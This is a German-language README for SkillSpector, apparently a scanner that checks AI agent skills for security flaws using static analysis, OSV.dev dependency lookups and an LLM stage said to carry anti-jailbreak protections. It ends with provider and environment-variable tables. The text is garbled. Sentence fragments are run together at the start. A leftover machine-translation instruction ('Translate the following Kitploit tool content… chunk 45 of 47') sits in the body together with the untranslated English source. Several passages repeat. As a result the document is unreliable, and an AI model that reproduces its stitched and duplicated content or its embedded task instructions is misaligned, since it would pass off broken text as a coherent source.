SKILLSPECTOR_PROVIDER-Endpunkt gesendet. Erkannte OMS-Signaturdateien sind ausgeschlossen. Verwende --no-llm, um Inhalte lokal zu halten (nur statische Analyse).--no-llm. Es werden Abhängigkeitskoordinaten (keine Dateiinhalte) gesendet, es ist kein API-Schlüssel erforderlich, und es fällt auf eine gebündelte Liste zurück, wenn OSV.dev nicht erreichbar ist.api.osv.dev verwendet SC4 eine kleine statische Fallback-ListeBasiert auf der Forschung aus „Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale" (Liu et al., 2026):
The translation is complete. The output is the German version of the chunk, preserving all Markdown structure and untranslated technical elements.Translate the following Kitploit tool content. This is chunk 45 of 47 from a longer Markdown document. Source language: en. Target language: de. Preserve all Markdown syntax exactly, translate only natural language text. Do not add any extra commentary, just output the translated chunk.
Input:
SkillSpector uses a two-stage detection pipeline:
A valid, root-level OpenSSF Model Signing signature (skill.oms.sig) is retained in the
component inventory as type oms_signature, but excluded from static and LLM content analysis.
OMS bundles necessarily contain long base64-encoded payload, signature, and certificate fields;
generic obfuscated-code checks can otherwise misclassify those fields as hidden executable content.
The recognizer checks the minimal OMS DSSE/in-toto structure; it does not verify the signature,
certificate chain, transparency-log entry, or signer identity. Invalid or unrecognized signature
files are scanned normally.
The LLM prompt includes anti-jailbreak protections to prevent malicious skills from manipulating the analysis.
SC4 uses the OSV.dev API to check dependencies against the full Open Source Vulnerabilities database — covering tens of thousands of advisories across PyPI and npm.
The tool requires outbound HTTPS access to api.osv.dev for live vulnerability data. When that is not available, findings are limited to the static fallback list.
SkillSpector is defense-in-depth, not a sandbox. Know what it does and does not do before relying on it:
SKILLSPECTOR_PROVIDER endpoint. Recognized OMS signature files are excluded. Use --no-llm to keep contents local (static analysis only).--no-llm. It sends dependency coordinates (not file contents), requires no API key, and falls back to a bundled list when OSV.dev is unreachable.api.osv.dev, SC4 uses a small static fallback listBased on research from "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale" (Liu et al., 2026):
Output only the translated German Markdown.## So funktioniert es
SkillSpector verwendet eine zweistufige Erkennungspipeline:
Eine gültige, auf Root-Ebene signierte OpenSSF Model Signing-Signatur (skill.oms.sig) wird im
Komponenteninventar als Typ oms_signature geführt, aber von der statischen und LLM-Inhaltsanalyse ausgeschlossen.
OMS-Bündel enthalten zwangsläufig lange base64-kodierte Payload-, Signatur- und Zertifikatsfelder;
generische Prüfungen auf verschleierten Code könnten diese Felder andernfalls als versteckte ausführbare Inhalte fehlklassifizieren.
Der Erkennungsmechanismus prüft die minimale OMS-DSSE/in-toto-Struktur; er verifiziert nicht die Signatur,
die Zertifikatskette, den Transparenzlog-Eintrag oder die Identität des Unterzeichners. Ungültige oder nicht erkannte Signaturdateien
werden normal gescannt.
Der LLM-Prompt enthält Anti-Jailbreak-Schutzmaßnahmen, um zu verhindern, dass bösartige Skills die Analyse manipulieren.
SC4 verwendet die OSV.dev-API, um Abhängigkeiten gegen die vollständige Open-Source-Schwachstellendatenbank zu prüfen – sie umfasst Zehntausende von Sicherheitshinweisen für PyPI und npm.
Das Tool benötigt ausgehenden HTTPS-Zugriff auf api.osv.dev für Live-Schwachstellendaten. Wenn dieser nicht verfügbar ist, beschränken sich die Erkenntnisse auf die statische Fallback-Liste.
SkillSpector ist Defense-in-Depth, keine Sandbox. Wisse, was es tut und was nicht, bevor du dich darauf verlässt:
SKILLSPECTOR_PROVIDER-Endpunkt gesendet. Erkannte OMS-Signaturdateien sind ausgeschlossen. Verwende --no-llm, um Inhalte lokal zu halten (nur statische Analyse).--no-llm. Es werden Abhängigkeitskoordinaten (keine Dateiinhalte) gesendet, es ist kein API-Schlüssel erforderlich, und es greift auf eine gebündelte Liste zurück, wenn OSV.dev nicht erreichbar ist.api.osv.dev verwendet SC4 eine kleine statische Fallback-ListeBasiert auf der Forschung aus „Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale" (Liu et al., 2026):
from skillspector import graph
result = graph.invoke({ "input_path": "/path/to/skill", "output_format": "json", # terminal, json, markdown, or sarif "use_llm": True, # False for static-only analysis })
print(f"Risk Score: {result['risk_score']}/100") print(f"Severity: {result['risk_severity']}") print(f"Recommendation: {result['risk_recommendation']}")
for finding in result["filtered_findings"]: print(f"[{finding['severity']}] {finding['rule_id']}: {finding['message']}")
## Lizenz
Apache License 2.0 – siehe [LICENSE](https://github.com/nvidia/skillspector/blob/HEAD/LICENSE) für Details.
## Mitwirken
Beiträge sind willkommen! Bitte lesen Sie unsere Mitwirkungsrichtlinien und reichen Sie Pull Requests ein.
## Unterstützung
- **Probleme**: [GitHub Issues](https://github.com/NVIDIA/skillspector/issues)
Provider (SKILLSPECTOR_PROVIDER) | Credential-Umgebungsvariable | Endpunkt | Standardmodell |
|---|
openai | OPENAI_API_KEY (+ optional OPENAI_BASE_URL) | api.openai.com (oder eine beliebige OpenAI-kompatible URL) | gpt-5.4 |
anthropic | ANTHROPIC_API_KEY | api.anthropic.com | claude-opus-4-6 |
anthropic_proxy | ANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URL | Beliebiger Raw-Predict-Proxy im Vertex-Stil | claude-sonnet-4-6 |
bedrock | AWS_PROFILE (optional) + AWS_REGION — SigV4 über boto3 | AWS Bedrock Runtime | us.anthropic.claude-sonnet-4-6-20250915-v1:0 |
nv_build | NVIDIA_INFERENCE_KEY | build.nvidia.com | deepseek-ai/deepseek-v4-flash |
claude_cli | (keine — verwendet lokale CLI-Authentifizierung) | lokale claude-Binärdatei | lokaler Claude-Laufzeit-Fallback oder SKILLSPECTOR_MODEL |
codex_cli | (keine — verwendet lokale CLI-Authentifizierung) | lokale codex-Binärdatei | lokaler Codex-Laufzeit-Fallback oder SKILLSPECTOR_MODEL |
| Variable | Beschreibung | Erforderlich |
|---|
SKILLSPECTOR_PROVIDER | Aktiver LLM-Anbieter: openai, anthropic, anthropic_proxy, bedrock, nv_build, claude_cli, codex_cli oder gemini_cli. Gehostete Anbieter verwenden die gebündelten Standardwerte aus model_registry.yaml; claude_cli und codex_cli fallen auf das Standardmodell der lokalen CLI-Laufzeit zurück, sofern SKILLSPECTOR_MODEL nicht gesetzt ist. Standardwert: nv_build. | Optional |
NVIDIA_INFERENCE_KEY | Anmeldedaten für den nv_build-Anbieter (build.nvidia.com). | Erforderlich für die LLM-Analyse, wenn SKILLSPECTOR_PROVIDER=nv_build |
OPENAI_API_KEY | Anmeldedaten für den OpenAI-Anbieter (SKILLSPECTOR_PROVIDER=openai). Dient außerdem als Fallback der Stufe 2 im Credential-Waterfall, wenn der aktive Anbieter keine Anmeldedaten zurückgibt. | Erforderlich für die LLM-Analyse, wenn SKILLSPECTOR_PROVIDER=openai |
OPENAI_BASE_URL | Überschreibt den OpenAI-Endpunkt (z. B. auf Ollama zeigen). | Optional |
SKILLSPECTOR_REASONING_EFFORT | Optionale, anbieter- und modellabhängige Einstellung für den Reasoning-Aufwand. Nicht-leere Werte werden getrimmt und unverändert durchgereicht; nicht gesetzt oder leer bleibt das Standardverhalten des Anbieters erhalten. | Optional |
ANTHROPIC_API_KEY | Anmeldedaten für den Anthropic-Anbieter (SKILLSPECTOR_PROVIDER=anthropic). | Erforderlich für die LLM-Analyse, wenn SKILLSPECTOR_PROVIDER=anthropic |
ANTHROPIC_BASE_URL | Überschreibt den nativen Anthropic-Endpunkt (Standard: https://api.anthropic.com). | Optional |
ANTHROPIC_PROXY_ENDPOINT_URL | Vollständige Endpunkt-URL für den Anthropic-Proxy-Anbieter (Vertex-artiges raw-predict). | Erforderlich, wenn SKILLSPECTOR_PROVIDER=anthropic_proxy |
ANTHROPIC_PROXY_API_KEY | Bearer-Token für den Anthropic-Proxy-Anbieter. | Erforderlich, wenn SKILLSPECTOR_PROVIDER=anthropic_proxy |
ANTHROPIC_PROXY_API_VERSION | anthropic_version-Wert, der im Anforderungstext gesendet wird (Standard: vertex-2023-10-16). | Optional |
AWS_PROFILE | Benanntes AWS-Profil für den Bedrock-Anbieter – authentifiziert sich über SigV4 via boto3. Wenn nicht gesetzt, greift die standardmäßige boto3-Credential-Kette (Umgebungsvariablen, Instanzmetadaten, SSO usw.). | Optional (verwendet, wenn SKILLSPECTOR_PROVIDER=bedrock) |
AWS_REGION | AWS-Region für den Bedrock-Runtime-Endpunkt. Standardwert: us-west-2. | Optional (verwendet, wenn SKILLSPECTOR_PROVIDER=bedrock) |
SKILLSPECTOR_MODEL | Überschreibt das Modell des aktiven Anbieters. Bei gehosteten Anbietern ersetzt dies den gebündelten Standardwert aus der Tabelle „LLM-Analyse“. Bei claude_cli und codex_cli wird dies als --model weitergegeben, anstatt den Fallback der lokalen CLI-Laufzeit zu verwenden. | Optional |
SKILLSPECTOR_MODEL_REGISTRY | Überschreibt die gebündelte YAML-Registry pro Anbieter (src/skillspector/providers/<provider>/model_registry.yaml) durch einen benutzerdefinierten Pfad. | Optional |
SKILLSPECTOR_LOG_LEVEL | Log-Level: DEBUG, INFO, WARNING, ERROR (Standard: WARNING). | Optional |